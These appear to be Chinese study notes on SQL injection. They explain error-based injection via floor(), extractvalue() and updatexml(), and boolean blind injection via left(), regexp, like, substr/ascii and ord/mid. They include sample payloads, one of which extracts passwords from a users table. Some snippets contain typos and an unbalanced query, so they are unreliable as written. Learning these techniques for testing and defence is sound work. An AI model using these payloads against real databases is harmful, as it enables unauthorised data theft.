报错注入
原理：构造payload让信息通过错误提示回显出来
应用场景：查询不会先内容，但是会打印错误信息
upload、insert等语句，会打印错误信息
方法：凡是可以让错误信息显示的函数（语句），都能实现报错注入
floor()
select count(*) from infomation_schema.tables group by concat((select version(),floor(rand(0)*2));
extractvalue()
updatexml()
如果返回值超过32位，显示不出来，就使用substrr进行截取
and updatexml(1,concat(0x7e,(select substr(concat(password),1,2)from users limit 0,1),0x7e),1)--+
布尔盲注
原理：我们可以通过构造语句，来判断数据库信息的正确性，在通过页面的“真”和“假”来识别我们的判断是否正确，这就是布尔盲注。
方法：
构造逻辑判断语句，判断信息的真假，取出所有的真值，实现SQL注入
1、 left()函数 left(database(),b)>'a'
//database() 显示数据库名称，left(a,b)从左侧截取前b位
2、 regexp
//select user() regexp '^r' 正则表达式的用法，user()结果为root,regexp为匹配root的正则表达式
3、 like
//select user() like 'ro%'，与regexp类似，使用like进行匹配
4、 substr()函数
ascii()函数
//ascii(substr((select database()),1,1))=115 避免过滤和转义单引号
5、 ord()函数
mid()函数
//ord(mid((select user()),1,1))=114
mid(a,b,c)从位置b开始，截取a字符串的c位。ord()函数同ascii(),将字符转为ascii值